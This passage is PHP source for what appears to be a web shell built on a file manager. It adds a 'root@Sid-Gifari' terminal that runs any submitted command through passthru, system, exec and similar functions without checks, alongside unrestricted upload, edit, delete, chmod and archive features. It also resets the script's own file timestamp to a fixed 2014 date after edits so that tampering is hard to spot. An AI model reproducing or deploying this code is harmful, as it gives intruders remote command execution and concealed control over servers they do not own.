<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
